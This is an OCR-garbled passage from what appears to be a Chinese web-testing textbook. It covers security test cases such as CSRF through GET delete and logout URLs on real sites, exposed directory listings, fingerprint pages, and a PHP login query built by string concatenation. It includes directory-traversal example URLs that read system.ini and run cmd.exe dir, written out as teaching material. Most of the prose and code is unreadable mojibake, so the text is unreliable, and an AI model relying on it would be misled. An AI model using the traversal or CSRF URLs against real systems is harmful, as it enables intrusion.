(4) AN LF AT EH,
8. voEaliil ¥ ik
(1) & %/~ LAEER, L4 RF & Aoy T4,
(2) EAE—AE 1237 89 X AF.
(3) IHRZAFHMAGLTRN KA,
(4) AR A f2 o 2 & A BUH E A EAF A6 AL .
(5) AN AEIACZEFTF I LESIH,§E2RF L4,
(6) FHIFAZ A R E4F6 XA AE TAPUH LT, & B TAPUH L F,

5.3 S5 #3. oricity ISR #flE% 403 Forbidden

TRBEFRA  oricity Mu—# i igts—H5 B o1 tH B 403 Forbidden,
M EE& 5% Windows 7+ Firefox,
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B Ry
(1) FTH oricity M %5 http://www. oricity. com/ .
(2) #EABRH IR, o HE ", &/ v,
HEER e Pxs,
EBREER  mlith B 403 Forbidden, 114 5-3 .

F—— R
HM=ERSs - powered by p.. %
\._‘_,-.- @ www.oricity.com/faq.php - B l:'_'.'| *-' BB «Cirl+K> P= * E 4+ K ™ - 1 |' &

8 pEass | wER

o i i
A EABRH »» ARFEX BE | HTHE | 580 | H5 | W

a it i -> @i

e P TR MSIRETEE | WAP iR | PHPWind gF{77ERR I wind Code

‘ 403 Forbidden \

ngine/1.0.5

Wind Code

[quote] WEIBAHIME . ZBFREEEMHSIBAEERH

#EFMsF [/guote] W AT REHEERE
[code] B R
unset{$ta[$i]);

unsec (fTEC[61])

ftxt=implode ("', $txt);
ff=fopen('ugerdata/xuni/market.data", '"w'});
fputa (L, 5Lan);

fcloze (§£) ;

Lirods]

@ SRAIT

PR, iz HI K TiZM3be) — 815 8 122X 2 B I 403 Forbidden, & £

W 3E P SRR L IX GE R MIE 8, X AL A8 Web &2 Th ARy 19 32 ) B AR 69 £ 4
JE Web Z&An X f , RIEEH L4406 TFIET S,

Bl AP AECTHEREBET 3ABLTH,RER P AEE P 830688k sk
wF B, AEF BEA bookid, A F A @it E 7 URL,4e bookid #& sk, H 4 id, LA T 4E £,
WA NAM KB T 454,

Ao, FBAP AFHTEERE URLKEXEF.EREANHTLERETRT TG,

ALBAEF Ay HeE R PEd ., LARALT S ZTARY FREFTA P LXK
wETE BN T BRI, KREER LT ﬁ}ﬁc#%‘fﬁ’]%ma

5.4 SELS H4. oricity BISEAT P I E R 5T

BRPBAARA  oricity M u—715 31 E N i . 48 URL J5 i és i/ test. php H B8 32 o 1A
M EE 5SS Windows 7(64 bit) +Chrome 5§ IE 11,

$bt=implode(”, $bd);
tf=fopen(‘'userdatafxuni/market.data’,'w");
fputs($f, $tt);

folose($);

B 5-3 DA 4 P 403 Forbidden
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BRI 308 31| 45

ik 5 TR

(1) ¥TH oricity M ¥, http://www. oricity. com/,

(2) FBAL—163h.

(3) Bk URL A http://www. oricity. com/event/test. php,f% Enter &,
HAZB AR e o,
EBRER  Ar el v, JFae UM, WA 5-4 s

[} www.oricity.com/fevent/ x

|J/ € - C [4 www.oricity.com/event/test.php el H =

E&5mR. .. 0C No. 332 FHGED
B4, .. 0C No. 331 FHIEEH
2. .. 0C No. 330 JFHGEDH
2455, .. 0C No. 329 JHGEDN

- —_—

B 5-4 kA7 7E U T T

WD tRAR

BRUYFAARZTABRRRGRDETZHEMmEF L ARMNETRITHP — % Log B &
T B A2 KRR AFBAREEELAHRG T EEEMBI; wROHA AR T E
AT AR R 69 F iR, RAEAE F A S URL A AR B XA R Z R i, %£FLE, Web &
iath L ARG E T ARA ML ki Kig P A 6 URL,

¥k Web 2 Fl 64— 22789 URL,iIX# URL RE2E &~ EM RN4EE P 25T
AR AN URL 5 P B X BBl R @, 4R R URL iF P FRa . L EE5mAAH
AT e,

XELEFTLGHFEL T,

(U%ﬁ%m%ﬁﬁmﬁﬁ%%ﬁﬁﬁﬂﬁﬁlqﬂﬁﬁﬁmﬂ$*&%%UmJ
BERZAIME  MEHFMBH S, L URLBLTENR T EG, FHRKEINHA P S

(2) sl MsbaLa— /R AN L8 3% (http://example. com/bbs) , 3 & &

%3t — o B R 09 LR ALK B X AN IR 09N 1 Mo bk, AR T K B AR B3R RS T S AT B AP &,

5.5 UG #5: NBA B3, files H s HERL i )

ERBEAREE  NBA Ml files H S RE ki 1 .
M FESE5N%SEE Windows 7+ Chrome 8% Firefox,
i 47 TR

(1) ¥THF NBA M55 http://www. nba. com.
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(2) £ URL Ja 1 4b I files, JE 40 http://www. nba. com/files,
2SR AZEow files HRE5H,
SEERER B files HRZ5W I H gk 2k o) J5 8 P H 5, W& 5-5 s,

€« - C | [3 www.nba.com/files/

Index of /files

= Name Last modified Size Description

l¢. | Parent Directory

lp: | nba/ 01-Jan-2015 00-23
s, | nbautil/ 18-Jul-2012 17:56
s, | static/ 28-Aug-2012 19:20

Apache Server at www.nba.com Port 80

Kl 5-5 files H FEEHE H

WD tmaw

AT — A%t Web IR 4B k3L, % Web A E 34T S 695 P4z H 2 M A X449,
A i@ & HTTP A6 — /%2 RmiR, A AF580E & 9% 7 9 £ R4 69 B &, 5 £ Web
%3 69 AR B RASM AT &4

Web fR 45 £ 23240 AN A 6 2 Puf) .

(1) 7 424 5 &, Bp % 569 ACL,

(2) & B FX 7,

FEAEM A AR THERAIEG.CZ - Web REBZGEENALRLAMT2Z2 A F K
F P ARAR 5 RS 35 L35 19 A5 B AR AT 3R AR 09 7 R, B BE AL @, 8 T L 4l — 2k 35 19 R
%

B RERFEIMNAZAATH MR EZBR. CEEZ—ARS AP Likip Pz TiX
AMEFRZ EMEMAL,

%] 42 , Windows 49 IS ZK A4 B F 2 C:\Inetpub\wwwroot, R LA Al p —E il if T
ACL 894 % 3£ T L35 7] C:\Inetpub\wwwroot\news B A & Kt fe TiX MR B F WL T
# BT A B A A {2 %35 7 C:\Windows B 3%,

B RGALERBE LA P 5 FURS S Lo — X stk XA, &2 Windows F & L&)
cmd. exe & Linux/UNIX “F & L&) v 4 L4,

EIANRBATHRALET Web RFESHRMAAS  LTREET Web EARFHRBZ P,

FPAT—ABRBASLE A FEHFTFERHORL AN Web LB FAA - XX TR
% 0 BN XAF Ao B KPR 9L B 69 S IR PP T,

e R WEHFAEZINBR P LLFHTARE REEH L7

AR EA PR, L F A% A BRFSBZHRB T, KMz B XA R HE6GH AR5, 4ol
A AR A B — e PR 69 A, B AR B P AT — e AN R A T8I dE 4
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R H T Web 35 56957 Flix A, FH A% 45 § 35 R0 e il P R IATIHRA, B X R IR
# R G Web 35 5069 Bl P A& A T4 ALEY

EaLFHEREEG Web B A ¥, AEEZET GET 32 POST #935 K 7 ik K] i
% 3k #% . http://test. webarticles. com/show. asp? view = oldarchive. html & —/~ GET #)
HTTP URL g K w#], Al AXA URL,Z W EGIRFHZLET 35 R & show. asp #)
i K. B4 A 14 A oldarchive. html 4 view & dc. B 5 K £ Web IR % 2 3% P47 8 . show
. asp & MR 5 & 69 X & 4P BU4F oldarchive. htm]l X, 5F - LB @ K P g ayu] lL &, AP
4 Bk A R T VAR E show. asp B 9% A U & & F K IR U 5F % %) 4 T URL— http:
//test, XXX, com/show. asp?view=../../../../../Windows/system. ini, A 4 ,iX 3k 4& % M
LA RGP R system. inil XHFFEEGLRAP, LFERHERIFRMNEZEZLS VE T4
# %] Windows B k.2 T8 M4, XL KI5t REE, 2 HTFTROGZTRHEE2RF 6,

RT Web m A &y KA Web IR EAF LA THREZRME RBAHAL X, XA
THRAET Web IR B KA RA - L AHERFE L TH AT,

R Web IR B8P AP MO ZFE T Mk, 22, L8R % Web 5
B RAE R Z R 1IS f= Apache, M TARMA L ERMX LA F, PHEEANT LEHR

A AR B F,

) 4w chttp.//server. com/scripts/.. % 5c../Windows/System32/cmd. exe? /c+dir+c:\
IXANURLFERERAT INSHHAR ZTRBH A ZHMATHLELES C.\BRTFHAL
Hag 5 & 2 d it A ecmd. exe KB FH A dir c:\ Kk FIE, %5c & Web IR & £ 69 5 3% 47,
AARE—EFLFHF XL RRGAZN,

AN Web RS- BHR M AEEF X LEB A FRA) EMNAT 2L ERAGIRF B
BRAFA R A R XA PR,

A AL AT files B 2B A4 Web FAE %, — % Web A A6 B %
2 My HR 2 A £ L images.photo,js.css.html Z X8 B . A6 B T L MR MIR P L5,
FAeIEA B F, B WM 3E R AR — RS SRR TR

5.6 SZUGH6. NBA WINSA M I v

ERBEARA  NBA Wb A i 3] 0 3 A AS 7]
MiXEEEXNEE Windows 7 (64 bit) +1E 11 5§ Chrome,
ik 7 TR

(1) T NBA M4 http://www. nba. com/test. html,

(2) ME IR R H & F W AT .
HEBEER A B EAaEE.,
KERER  WonElUEAE S, WE 5-6 s,
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a Vi EW'SDUTCEMWW.HIJH.E x

~ = € [ view-source:www.nba.com/test.html

B A @ (gEEER O EoEFRER () 51cT0sR [§ CSONNET - 23k [ wischool EEKE (1) JavaApk-S2sf..

W

({1

Crtml>
Chead>

‘titlerTest ESI</title>
</head>

<body>

.
= =0 == N = I TR FL Y K

ontinemtal: AS <br>
ourt ry: CN <br>
mezone: GMT4E <br>
egion: LD <br>
ourity:  <brr

ity: GUANGIHOU <br>
reacode:  <br:
zip: <br>
fcarrect ion speed:

b
=9

vhigh <br>

3 A S Y A W W
2w oo = 3 & wh

<o
MOZTLIA 5.0 <brx

[ ]
[

24 |[Kbr>

b| < 1— test success —»

¢/ body>
.

5-6  BaAIIKLHAF R

D TR

AR5 A4 ERELHERER,

5.7 S5 H7. NBA ML Servlet {35 2Lk

TRBEARA  NBA Wl 77 7E Servlet {7 B it &% 7] /81,
M EE5A%Es Windows 7 (64 bit) +1E 11.Firefox 5% Chrome.,
g By
(1) 3TH NBA M54 http://www. nba. com/axis/fingerprint. jsp.
(2) 49 4{E TE Firefox.Chrome P % 25 W {5 B, .
Eﬁ% ER A B~ Apache AXIS HEA Servlet HAR(G H.
ZHE R Apache AXIS FEAR Servlet HA&(E B, . & 5-7 s,

@ ERAIT

AN 5.4FEHh e85 RS,
A b a5 URL 6 A7 P R SR I8y #F m iz 8
o F RN M2 F M 35,

R EH TS

9 %2 18] S A 5 A
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a System Fingerprint »

€& = C [} www.nba com/axis/fingerprint. jsp By -
i R AEEERARE. An

System Fingerprint

JVM and Server Version

Servliet Engine Apache Tomcat/5.5.26 2 il

Java VN Sun Nicrosystems Inc. Java HotSpot (TM) 64-Bit Server VM 1.5.0_21-b01
Java RE Sun Microsystems Inc. 1.5.0_21

Platform Linux amd6d 2,6, 18-348, elb
Boot jars

rt. jar 40219943 Mon Oct 26 10:02:08 EDT 2009

jsse. jar 544209 Mon Oct 26 10:02:09 EDT 2009
jee. jar 82642  Mon Aug 24 15:31:14 EDT 2009
charsets. jar 8898567 Mon Oct 26 10:02:09 EDT 2009

Only walid on a sun jvm
System jars

bootstrap. jar 24093 Mon Jan 28 15:38:25 EST 2008

Extra system jars

sunjce_provider. jar 158419 Non Aug 24 15:31:14 EDT 2009
drnsns. jar 8215 Mon Aug 24 15:38:10 EDT 2009
sunpkesll. jar 175949 Hon Aug 24 15:31:13 EDT 2009

laecaledats 1ar N2=09 BEDT 2009

E 5-7 &7 Apache AXIS # 7 Servlet & {Z &

5.8 SEUS#8: FA/DE A BBS {E1E CSRF ¥kl

BREEAREE K/ S BBS A7 £E CSRF Zraky i il .
M FEE5HEE Windows 7+ Chrome 5¥ Firefox,
ik 7 TR
(1) ¥TH i K/MF1 & BBS http://bbs. nju. edu. cn,
(2) it A BBS, 224 LA G 7, 5 HOWES N B e 1 A9 4% 2

F 8 Test BBS 111: http://bbs. nju. edu. cn/vd64377/bbsdel? board = D _

Computer&.file=M. 1444972425. A,
F 8 BBS test 2222: http://bbs. nju. edu. cn/vd64377/bbsdel? board = D
Computer&.file=M. 1444972485, A,
F 81 CSRF BBS 333: http://bbs. nju. edu. cn/vd64377/bbsdel? board = D
Computer&.file=M. 1444972604. A,
(3) 2 E 32 A8 D0 2 = ) B ot 2% 2
HE2ER AocHEEMERD 1.
ERRER WAL B b7 B8 B M Bx . a0 5-8 i .
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) D_Computer (- HHLR)
Ahetehig: http //bbs nju edu en/g/D_Computer, hMpE: Amati pizracake, RRMITESE: 434 AR =
REIRE: aulBEE TRmEnn
Fs A5 EE bt Lopii =
Tl HIN elongds Sep 24 08:39 O ZTEARAESIERMBERI—EER (“58=T) 4960
fafh T T0CSTob fug 28 10:13 O 20i16/EE{bEiZRERCS2 [10. 16EE¥f) (170, 3K) 1497
11992 ¥ Wettle Oct 15 12:30 O HHEHNEZERASEEEEPEIREENDE (1858ET) 1010
11993 ¥ tututututu Oct 15 12:38 Re: HHN EERESTEHRELEEIHEGE 6235 24
11984 ¥ dongd301q  Oct 15 12:40 Re: WHHEHLZFEPRS=EPRBIELREZIZ2E o= 16
11995 § 15851672701 Oct 15 12:46 Re: HHZEHPRS=EHPRIEERZN2E (1155 21
11996 ¥ hLf119119 Oct 15 16:37 © FEMATIERE (as=T0) a6
11997 H  nettis Oct 15 16:59 Re: WHEHLREHPRSEERRIBE B EINZE 225 21
11998 §  microflash Oct 15 17:06 © [&#H,] I EiEE R REEREEICTF2015, A KEFRE (1220=T) 108
11999 ¥ 13450 et 15 21:02 Re: WHHLZEPBRSEEPBIEGEEENZE (105 21
12000 ¥ yaleyoga  Oct 16 08:35 Re: WHWEYLFEPRSEEEPEIEERESNESE G0=T) B
12001 ¥ 1316 Oct 16 08:58 Re: WHHLEERRSEEERIELEENRE (7252
12002 §  <s2012 Oct 16 09:16 Re: WHHLZERRISZEPBIEERFINZE G457
12003 H  SHST Oct 16 11:01 © [$F] TEEFTicenfSAFHAHE (S5 (115725 12
12004 loar o Oct 16 11:14 O ZHWHEHAFI=aAR0IER BEET 132
12005 ¥ SMElman Oct 16 11:16 © [EI Y IFERFEESTFEEFESE (3.580) 16
12008 §  jamesliu  Oct 16 12:03 Re: FEFHEZFISEE000EA (e15F) 11
12007 LosehGain  Oct 16 12:28 © ERRITAFEERASEDBLSHE L BNEES ¢ on 12
12008 tsingeoo  Oct 16 12:48 Re: HHLEEHPESEERERIEERSZELE =T 3
12008 ropwang Oct 16 13:13 © Test bbs 11111 (125=71) q
12010 YOywang Oct 16 13:14 O BBS test 2222 (11=ETH) 3
12011 roywang Oct 16 13:16 O CSRF BBS 333 (1053) 4
CRhNAE] E2NE LHE pEF E—0 TR #HEE YHE #FEE THEEE RAEE FEEEE JsFs

HEEE | =

& 5-8 B Ak/NAA BBS A CSRF I IR i

WD TRAT

M KB 4 BBS Ml rh i 49 URL & A # CSRF # 47, F 8 & & A P T A 45 i M hs 64
URL ik &ERA P L&, GF AP AR AT MRT T,

oA S MATIE A URL, T AL A TF A,

(1) URL E#: ) CSRF %4 Token # 47, 7% URL 1k % 5 thiE

(2) M EAARBEETHAZL Bl “BRALGZMBPEXANETD?7 EF6ERP
EARGE A TRRES TAHMR. L E42 . MET AL,

CSRF #5 248 T A6 # 2] 20 #%2 80 4K, 1988 4, Norm Hardy & X /4~ 5 A & 3
8945 4 91 A, - de e AR A R A A A (Confused Deputy) . 2001 5 ,Peter Watkins % — & W
HE 4% 4 CSRF, 54 & 7] &£ Bugtraq 84 5 & 7 . At CSRF FH##HEANAMG AL, M
2007 F 45, & X Web & B 42 % 42 1 B (Open Web Application Security Project,
OWASP) A 2 ¥ L 32 Web o5t HMar+ 4.

CSRF st — MR BEOBALATHIFBERET —AMAKB., LRA P HRE-AA
W EATC AR A THRELIN G, BT, FRTAPHEERE M ZE%, B
A FAR A R, I B R 8L ZBEF Web AGE B & A 48 69 & R, BT vl AR X AR L ST B Ak 3T
i 2

WA K35 Web BB 4E F Cookie/Session R A712 A P 8 G0 F R H L2 E KA X A%
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132,  EFMXSLIESLI)4E 8

HERIZMKRERE B TRF R A MP M, 385, BE3E 5% M Cookie/
Session X FMBiE, S AP 2RI B, M B EFEF—ARATENA L SN
Cookie/Session, 2 Z A P R~ % Al % B KB E Web & B, A P 7 F X AW 35 609 )5 4 38 AF 4R
FAEEZEHRTEFAE. RN LB ABANAFRA TR T LR L SIAER A
Cookie/Session &£ 125 g &,

LE=ZFMA AR SN ERGHF R, ZFREFE LK EAT3E 5 TINIEN
Cookie/Session, 2 T J& 4 3 4F, X FF £ A 69 IAGEAR 4 [& X AGE

FEXAIEF RGP Mk 2 — LA P A ZERMS AL L X B BHNZRNIETHESE
— AWM R AR LR QR NIET G S A TRAIEEANAERA P RFetFi
THATT — A EEME, XA Web S HNIEA G HFAENBREEARN PR Y i, X4
CSRF s H42 4 T 124,

5.9 SEISH9. PriRtkHAF{E CSRF X il il

R BEARR OB IR AT £E CSRE Zdi s i
M EFREXEE Windows 7+ Chrome 2% Firefox,
i 25 R
(D) FTH B iR http://weibo. com,
(2) ot A B iR i, 2 B B i} 19 8% 4% http://weibo. com/logout. php?backurl =
%2F,
(3) FEWYE & TP AL s TR BE L .
HZBER ASHIEGR.
EEBRER BAMMERGE R BB PRI, W E 5-9 B . 5208 R MO e AT
AR AR AT — A P el R B RS

&« - X |.Dweibo,mm,e’rr_:ywanglzafproﬁle?rightmod=1&wr=6&mmd=personinfo e =
3 @A [ aboutblank [P Suggested Sites 1y userqzoneqqeom-.. [ MIEFRSA () MEES12320M [ ERCAPESE LR

&> rit# AREESE : +54 Q (o) &&= W OB SE£HRoy

Fp9Em HaYEm =5 Sl

B 5-9 HriRfiEA CSRF B iF
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@ TREIT

BRATRME R P T AR 248 URL 24 —8,. F 7 I E, 2
http;//WELbU. com/logout. php? backurl=%2F, vl iXx A~ URL 4t ib4E & A P E R &5 8
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* HHEE
* ficopyright (c) &
= ."I

require_once '../init.php’;

All Rights Reserved

define( ' TEMPLATE_PATH', EMLOG_ROOT.'/admin/views/");
fine( , ;

fUser Model = new User Mode

$action = is

::1[ih—~::_$__=ﬁtﬂ

if ($action == "") {
pqu1'a once View::getVi

View: :output();
}

if (%action== "new } i
%login = isse
$password =
Spassword2
Srole = ROLE_WRITE R,
$ischeck =
if (SUser Model->i

emDirect(’
¥

if (strlen(%login) ==
emDirect(”

}
if (strlien($password)
emDirect(”

< (J:

e) {

< 6) {

aL
i
“
il
=5
a
a k
i
o<
.

I
if {ipasswnrd = Spassword2) {

fff‘(S _GET['action']) ? addslash

lew('register');

hes(trim($_POST[ 'login'])) :
a _;(*r' (5 PDST[ passnnrd ]))

isse *(ﬁ PGST[ ischeck']) ? ¢

Exist(slogin)) {
.fregister.php?errnr_gxist=1'];

«/register.php?error login=1');

./register.php?error_pwd len=1'");

emDirect(’'./register.php?error_pwd2=1");

}

SPHPASS = new PasswordHa
Spassword = $PHPASS->HashPasswo

$User Model->addl
$CACHE-»updateCac hu(.;,-

emDirect(’./index.php?rnd=".rand().

sh(8, true);

~d($password);

er($login, Spassword, %role, S$ischeck);
ray('sta’, 'user’));

s
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static function aglnPﬂEE(SE""c"Ccde = NULL) {
Opt :"':f*[ login_code') == 'y' ?
$ckcode = {;pan>m*l__n<fspan:
<div class=\"val\"><input name=\"imgcode\" id=\"imgcode\" type=\"text\" />
<img src=\"../include/lib/checkcode.php\" align=\"absmiddle\"></div>" :
$ckcode = '";
$error_msg = '';
if ($errorCode) {
switch ($errorCode) {
case self::LOGIN ERROR AUTHCODE:
Serror_msg = 'BBrEE, FEFERA;
break;
case 55£f::huEIH ERROR USER:
jerror_msg = “:gﬁé EEFEAN
break;
case seljf::LOGIN_ _RR R_PASSWD
serror_msg = En*s ﬁEEi%Fﬁr‘t',
break;
I
}
require_once View::getView('login');

View: :output();

& 12-5 ZFLE

=)

* [param string SuserlLogin User's username
* f@return bool|ocbject False on failure, User DB row cbject
-'.!‘r
] function EF*‘UJE DataBylLogin(SuserLogin) {
L * C pase: :getlns "-_':'(];
if (em E-userLclE:.n]} {
return false;
¥ :
suserData = false;
if (!SuserData = $DB->once_fetch_array("SELECT * FROM ".DB_PREFIX."user WHERE username = 'SuserlLogin'"}) {
return false;
}
ZfuserData[ "nickname'
SfuserData[ "username'
return SuserData:

»

lolchars(3userData] "nickname']);
chors(3userData[ 'username']);

]1=nh
1=nh
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(2) M55 4 3o ik H 7 K5 25 i R 1 , B 32— 1> session 77l 76208 FE (2 redis) H .,

(3) #F session ID it Cookie H, B A7 £ H ;7 I WE 75

(4) FRURAET Rl 55 4% FLAE IR 3 session ID XA P AT K ALE .

(5) —H B ) session 78 % 7 v F AR 55 7 S BB 4 FH 5%

2. Token

Token 55Uk & JOARAS 1 5 Al 55 dw AN I S WIE S8 J] 7 G 5 1 el WELE JW'T #5040 1 . i /2
FAIERERH T IRSG e FF 20N Token, Token JitZE Authorization header .1 X &
Bearer { JWT },{H 2 0] LI7E post body B A%, - 2 EA query parameter,

FuE i ko,

(D H P im ARG R .

(2) Al 55 a6 5 {5 Bk G . 3R Bl —4~ Token,

(3) Token 17 fiff 7£ % ' iig kgﬁﬁ 7 AE local storage. {H &1 0] DL {7 i f£ session
storage 1 # Cookie H,
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(4) KBRS Token ILAE Authorization header F .85 #F 5 1 i 77 X AH A

(5) Hﬁ%%ﬁsﬁ%ﬁ?’hr{i JWT*.%J%%EE TUkEH'QH% TUkEﬂ ’hiﬁ'muﬁﬂliz%io

(6) — HH iR i, Token ££ %5 7 S 85 B 58 » AN T 2 28 1 Hiz 55 4 i

3. CSRF
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sl 0 R A AT s LU B 33 A X0k G0 Ik H A 00 3k A2 6 O i P R A A9 350K 38 31 s H
(K. 5505 0 3k B AS (XSS A EE . XSS F T2 7 X 46 72 1 3l (9 45 AT CSRE A1) 119 2 R 3
F T 5T 50 B 2% 9 47 4T
A 1 R Ik AR 2 RO L RS T ST M 2 0T, A B R T

R P HE 1 3 i At a] LR X Bb Bk AR 38 3k | TR SEAT A P A LA

R R sk TR . 3 R OR AT A0 R I 55 A i B AT G 3 1 B AR A T . R T B s 5 1) A 2% 19 aT { K
wli A Z W ek . Bk 5 FAS GBl f CSRE M o H 4% 48 U 7 i ik 428 11 A, s
ANTE 397 U P AT A {5 5L At 417 B8 A0 1 J2 30 3 5 30 YE 4% L 1k LU P G 44 SCHR
Tk,

12. 6

w8 o T H 3

XPACAS 43 B I o 5t ] DL &) v 38 s 09 sl F ), a0 % 12-2 o,
F12-2 EZFARK A

a

ol "

e fF & &’

OB 5 R

S o ) 438
(Pass/Fail)

2% FL 0 3

(1) FTHE R I

(2) WM AIEBBH P %4 sms fl%
9 test123

(3) B B8R

55

(1) FTFF &R I

(2) WIASRAHF 4 smS M
g testl123

(3) Hili“ER”

BFARWGIERRCH P AR B E
%ﬁﬁj/i\”

(1) FTHFE SR [H

(2) 5 AH P 4 sms iR F
5 Testl23

(3) B “BR”

B F R, PR RS AR I
ﬁ)\”

(1) FTHEF

2 MAMP A ASH, BEWGHN
test123

(3) B B8R

HoRRMG A THRMARP 2

(1) FTH & F 0
(2) AR P 4 sms, B AT
(3) B“ER”

BFRRW BB AN




K112 witiEM/ ExRaEN XA

ar
SIZ s 0] 4
(Pass/Fail)

dn

oK R # 1 2 B OB 5 R

(1) $TFF B 5 7 i

’ (2) i;giﬁﬁ%%hﬁﬁﬁ 5 5 2 UL T 2558 B T 26 0

(3) Bk B R

(1) 4T FF B 3 71 i

? @ SRR SQL B 42 I, A BEE AR TN
NI

(3) B s R

(1) $THF B 5 7 @

(2) WA EHBHP 2 sms %
g testl123

8 (3) A inER”

(4) Bk sR”

(5) % A ) v ¢

(6) F-UHTFF 0 5 58

(1) $TFF B 5 7 i -

9 (2) WMERTHEEE R B 5 S .75 IE %

(1) $TH 5 5 7 i

10 (2) Hfy DUTE BT A 4. R [ | BE Bk FE ) 1E % A% T 1

B MR P
D TRaw

A F MR R B T Ak G R KB LA B A AL R R SF IR N 89 R T A Bk il R
BAF ,iEE T AR ER AT AMNRABAG fEHE P g &

3@: BRI

AR S B A S SRS, AT SR A T S SR AR B A s
=8 . T WL & http://collegecontest. roqisoft. com/awardshow. html P & i Jn 5 4 5§
AR K FAEX LR L LI L 50X R R,

— Y i

HRAR B FRAE e E R A T B
AR

Al 0 358




228, EEMEXSLIERIIER

N

EHZ
ad® of: af} o8 af o8 af 0 af* o8 af: 0§ af o:
P EID Name : Date-

44 F) s Studies this matter s lacks the time s but is lacks diligently.

Tl

Fr o A e Z B (8], M2 k= 55 77

7 > XA

o4 o8 f: 08 Of: 08 OF: 08 o 08 O 08 o4} O



T &/t 22 5 &l A 61

XBHMN

U A/ o 22 1 g 8] A 6 P ik G A E B
i AR HE /SRR G S R AR D) DL R ARG sk
s PR E O Rt Sk,

A% S5 P T 3 48] i 52 56 e F R XA N B A 22 D EAR
MR BEAT I WA/ By 22 R R B Ml w DL T RE . i XA
% 73 A 55 I3 ) 1 B i i A RS2 e e s R Y, LA R ]
MNTEFR e 19 #fy BE A il il T 4]

13.1 #mhik

o5 12 T S2 5 ok B S SR S PR B it T A &k
FAA , A2 BT, &I i 7 i SR o A A T s sl A8 7
K.

(1) #8T k. —FhAE o AT By mi kA7 i fe R A
A3 BT IR S B Tl B SR A B AR 1 R R B R R — B A rh R el F %
A,

(2) & EFLEFF RN RE AN o 5525
PHATZHN Z PR Z G X R G AT M . s ir s T
BRIy e EM RS T AR E MBS R IELE277. EBART —1
RGNS T 2B IEH . fEsh& AR, w2 HOAR R i
A SZIEE . LA LLR 6 Ap s R Oy k.

1. B E s

W ORI S A R, I E S EREITERE
(7 I3 FH 5] o o 45 78 e o 1 B 2Rl A = D gk AT — IR

P ] DAAR B A P A At 45 30 0 3 FH 4] L G200 4 43 B A A A
LKk,

s R 3k T s AR X A Ty i S A A R A, X




BRI 300 35I| 45

BT 1) % 17 Fn] BE 313k 19 B X2 48 4 S 2 i . B 40, 75 Do-While &5 ¥4 . iF /)
AT HPE AR U0 2, BROBMESEN T 20 XMERER R LESM MY, &
R Fia 47— K, A% & H AN .

2. HEEE

H) 5 T 55 PRy 30 B BRI R 98 2 ) AR AR Y R R B DA —
KN EAE A — KO BRAE . BPER Y H  BA> 3 S 2 0 P T — UKL B 0 I 1) BCEL | BUfR 22 70 4
1—K,

OG5 FE s B A LT 2 2 — 5l i 42, Rt B A Lo ih ) 3 s o 5
MK RE Ty . [RVAE e B S o B A RN A 7 s — R 1R AT Bk L JC A g B E T LA
2 I3 FH 1) .

L e KR A 0 A 1 ) th 202 88 AR R A A R (A E TR A AL ANDL OR,
CASE) , #5 AN ) W H: f5 2 25 3%, 0 22 6 B3 25 A0 1% BROCAEL 1 00 o 0 8K 2 3t T ¥4 3 I 3 i A2

3. M

O s R T 8 2 i I 48] (A R R A SRS S R T BE R 25 2 L B
-ﬁﬂ_ﬁf{tlﬁ@”‘»h WREAE A K ABIE.

O A5 F 7 o b A S 3 I T XA A A A B i ik L 1 T I AR

B . BOAPI SR L T A8 2 i D ) 8 S s AN BRI R E
i R RIE A R PR DA KO E A BT A 1A E 258 .

4, HE/ B

HE /S5 B S5 BT A8 22 g i s R 461, £ 4550 8 Hr A R ir A T REZS SR 2= A
— W BN HEAR G A RS R R — Ik,

O A5 FIE /5% 1 78 i i e ) e 8 S o ORI SR 7 e L Bk kb T R

BS . R EFMH AN,

ile
‘kﬂ"‘*ﬁ w2 R W R 2 MG SR A E R SRS RN T A A G 2D
I —IK,

UL'—T % H A A o DD A2 A S L AR P A RN R/ AR R A ME D L R A

O A G SR BT 08 22 i I A ) ﬁ{%#IJxEEF'”_*"'%FFI‘I’JﬁJ?fﬁ I AR R
m~?ﬁ’~.,-’7f‘*#inE7l:%ﬁfJﬁﬁ4% ] HE LS Rl 2= D B — KL JF B 2% 1 B AR B 52 ) A
LR

R 2R g T I ) 1 B

6. PRI

e A0 7 i R BT 08 2 1 WK ) L 7 AR Y T A AT BRI AR

O A5 R T vk AT DO e R AT A0 JES i sk L Ee A Tan 5 Al ik i SR AR

B . T AR T N T X T A 0T RE M B AR AT I (RS AR I L SR E AL o S R
S LT E RO K A M ) LS TR R IR RN K, AR T . —
SEPAT A SR AN A BE B AT 11, B4 7 S AN (RIS 1 I 3% 38 L i LR o 1 i 25 1 1) SRR
S HE B 7 SR SRR



K313 witiFR/meaEniX o)

13.2 4R/ Bree e n 4

30 T AN TT 3 1 B P g T LA 5 A 0 8 7 2
0 D0 D 90 675 4 T A5 Ak e 52 B 8 90 R VR AT F 0 912 g

Fo o KRBT H A AC/ o 22 3 A

AR, B SR B A A P R 22 R B AR — AN T RE. ST PR R

o 3ty . B Y A ) 7S SRR TR A A AT i an i 13-1 o,

2\
gn,fw

‘”fj‘laﬁ}?{

ﬁ L = RETASERER . ARFTCTE - e AETE -_ ——.-..‘
‘ﬁ‘r

Lﬁ

D

WV WIS , 2GRN .

= EiSE
A ER R
S, BEE=E
FLEFTE,

+ HEE
Y
FF . EALE
EnETEOS
AP,

o =L
oz B el
& . ERET
EETREANTE
R

+ HELE

T FAAE

A 13-1 “FRAVER7 I E

RN UF A VT T 2 R R TR 19 47 A 9 6 258 14 T L o 19 07 A 9 3 TR I 7 A ok L 1
A 90 26 AT A #E 255 . TR 2 ] 56 00 i 11 6 1 B T 6 ) 19

U LR 2 v, W 13-2 s,

kTl
:EE: KAGRSSE —SRE, RS
;EE,. §< eaglechen {FEST  BEFHFE.

ER A R SRR AER . MERENA . ETEEE.

1
l‘gﬁii = E= BEEEAA SR  FReNTE  MEEMA SRR |

KEEE B UTAASWTIATA B ReaEnTaIT e,

TR
I EEEE e, R _

KiEHET , AXERe...

+ EEES
—EETe . A

FE

. R

A GOSEARRT
B, FESF
St

< 35

P TRy
BEF . EALE
TS

AT

< HiEE
EERAE T
ok oo

&l 13-2 “FAYRE” I

“FRSRTE” (M 22) vh FE /R T FeORTEE HE S TE TR AR TEHES



232

N

BRI 3R 08 35I| 45
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(?php

. BEEE
* @copyright (c) &
LY

require_once '

fuid = UID;

[//echo UID."<br/>"; //&= )

$Friend_Model = new Friend Model

if ($action == '") {

$friends = $Friend Model->getMyAppro e

Spendingfriends = SFrlend Hudel ndsRe q|~:*(5u1d},
Smyquest = $Friend_Model->getMy _ est :"~n1 (Suid);
frecommand = WFriend _Model->getNotMyF

